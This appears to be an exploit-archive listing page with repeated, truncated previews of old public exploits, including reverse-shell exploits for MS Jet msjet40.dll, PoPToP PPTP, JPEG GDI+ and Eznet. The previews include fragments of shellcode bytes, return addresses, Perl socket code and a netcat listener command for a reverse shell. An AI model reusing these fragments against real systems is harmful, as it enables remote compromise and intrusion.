IPSwitch IMAP Server - LOGON Remote Stack Overflow

/ IpSwitch IMAP Server LOGON stack overflow. Software Hole discovered by iDEFENSE POC written by nolimit and BuzzDee First, some information for the few of you that know how this stuff works. The reason you see no SP2 or 2003 offsets is because of Windows SEH checks. Thats right, in this one...

yager524.txt

/ Yager 1 -- sending handshake UDP...done! -- reading server response UDP...done! -- server port: 1089 -- connecting to 192.168.2.100:1089 TCP...done! -- exploiting WinXP Pro SP1 GER -- ret: 0x300686bd jmp esp in binkw32.dll -- exploiting packet overflow... -- sending packet...done! -- starting...

Yager 5.24 - Remote Buffer Overflow

/ Yager 1 -- sending handshake UDP...done! -- reading server response UDP...done! -- server port: 1089 -- connecting to 192.168.2.100:1089 TCP...done! -- exploiting WinXP Pro SP1 GER -- ret: 0x300686bd jmp esp in binkw32.dll -- exploiting packet overflow... -- sending packet...done! -- starting...

MS Jet Database (msjet40.dll) Reverse Shell Exploit

Exploit for unknown platform in category local exploits =================================================== MS Jet Database msjet40.dll Reverse Shell Exploit =================================================== Microsoft Jet msjet40.dll Reverse Shell Exploit Based on the exploit written by S.Pears...

Microsoft Jet Database - msjet40.dll Code Execution (Reverse Shell) (2)

Microsoft Jet Database - msjet40.dll Code Execution Reverse Shell 2 Microsoft Jet msjet40.dll Reverse Shell Exploit Based on the exploit written by S.Pearson and Python version by coded by Tal zeltzer XP/sp2 fixed version by Jean Luc import sys import struct Addresses are compatible with Windows ...

Microsoft Jet Database - 'msjet40.dll' Code Execution (Reverse Shell) (2)

Microsoft Jet msjet40.dll Reverse Shell Exploit Based on the exploit written by S.Pearson and Python version by coded by Tal zeltzer XP/sp2 fixed version by Jean Luc import sys import struct Addresses are compatible with Windows XP Service Pack 1 and Service Pack 2 EIP = "\x47\xAD\x05\x30"; Use...

msjet40.txt

See-security Technologies ltd. http://www.see-security.com Microsoft Jet msjet40.dll Reverse Shell Exploit coded by Tal zeltzer Based on the exploit written by S.Pearson import sys import struct Addresses are compatible with Windows XP Service Pack 1 ReturnAddress = 0x77F51B93 Address of "jmp edx...

Microsoft Jet Database - 'msjet40.dll' Reverse Shell (1)

See-security Technologies ltd. http://www.see-security.com Microsoft Jet msjet40.dll Reverse Shell Exploit coded by Tal zeltzer Based on the exploit written by S.Pearson import sys import struct Addresses are compatible with Windows XP Service Pack 1 ReturnAddress = 0x77F51B93 Address of "jmp edx...

MS Jet Database (msjet40.dll) Reverse Shell Exploit

Exploit for unknown platform in category local exploits =================================================== MS Jet Database msjet40.dll Reverse Shell Exploit =================================================== See-security Technologies ltd. http://www.see-security.com Microsoft Jet msjet40.dll...

Microsoft Jet Database - msjet40.dll Reverse Shell (1)

Microsoft Jet Database - msjet40.dll Reverse Shell 1 See-security Technologies ltd. http://www.see-security.com Microsoft Jet msjet40.dll Reverse Shell Exploit coded by Tal zeltzer Based on the exploit written by S.Pearson import sys import struct Addresses are compatible with Windows XP Service...

Newspost 2.1 socket_getline() Remote Buffer Overflow Exploit v2

No description provided by source. / v0.2 Newspost "socketgetline" Buffer Overflow Exploit Exploit Bug discovered: 02/03/2005 cybertronicatgmxdotnet cybertronic @ newspost $ gcc -o newspostexpl newspostexpl.c cybertronic @ newspost $ ./newspostexpl cyber tronic Usage ----- Bindshell ./newspostexp...

Ability Server 2.34 FTP STOR Buffer Overflow Exploit (Unix Exploit)

Exploit for unknown platform in category remote exploits =================================================================== Ability Server 2.34 FTP STOR Buffer Overflow Exploit Unix Exploit =================================================================== / email protected:/Exploits/abilityftp...

MS Windows JPEG GDI+ All-In-One Bind/Reverse/Admin/FileDownload

Exploit for unknown platform in category remote exploits =============================================================== MS Windows JPEG GDI+ All-In-One Bind/Reverse/Admin/FileDownload =============================================================== / Exploit Name: ============= JpegOfDeath.M.c...

Microsoft Windows - JPEG GDI+ Bind/Reverse/Admin/File Download

/ Exploit Name: ============= JpegOfDeath.M.c v0.6.a All in one Bind/Reverse/Admin/FileDownload ============= Tweaked Exploit By M4Z3R For GSO All Credits & Greetings Go To: ========== FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha, romhack Peter Winter-Smith, IsolationX, YpCat, Aria Giovanni, Ni...

bsd/x86 - reverse portbind 129 bytes

bsd/x86 reverse portbind 129 bytes. Shellcode exploit for bsdx86 platform / reverse-portshell BSD shellcode by noir / / local usage: ./reverse-shell 192.168.2.33 / / remote: nc -n -v -v -l -p 6969 / / listen on 6969/tcp / / [email protected] / char shellcode = 0x31,0xc9,0x51,0x41,...

Eznet 3.5.0 - Remote Stack Overflow Universal

Eznet 3.5.0 - Remote Stack Overflow Universal !/usr/bin/perl -w COROMPUTER Crpt universal eZ v3.3 3 print "syntax: ".$0." \r\n"; exit; print "+ Connecting to ".$ARGV0."\t..."; my $sock = IO::Socket::INET-newProto='tcp', PeerAddr=$ARGV0, PeerPort="80"; if!$sock print "Error\r\n"; exit; print...

Eznet 3.5.0 Remote Stack Overflow Universal Exploit

Exploit for unknown platform in category remote exploits =================================================== Eznet 3.5.0 Remote Stack Overflow Universal Exploit =================================================== !/usr/bin/perl -w COROMPUTER Crpt universal eZ v3.3 3 print "syntax: ".$0." \r\n";...

Exploit for PoPToP PPTP server

hello bugtraq, Here is an exploit for a recently discovered vulnerability in PoPToP PPTP server under Linux. Versions affected are all prior to 1.1.4-b3 and 1.1.3-20030409. The exploit is capable of bruteforcing the RET address to find our buffer in the stack. Upon a successfull run it brings up ...

PoPToP PPTP <= 1.1.4-b3 Remote Root Exploit

No description provided by source. / exploit for a recently discovered vulnerability in PoPToP PPTP server under Linux. Versions affected are all prior to 1.1.4-b3 and 1.1.3-20030409. The exploit is capable of bruteforcing the RET address to find our buffer in the stack. Upon a successfull run it...

PoPToP PPTP <= 1.1.4-b3 Remote Root Exploit

Exploit for linux platform in category remote exploits =========================================== PoPToP PPTP include include define uint8t char define uint16t WORD define uint32t DWORD char shellcode = "\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b"...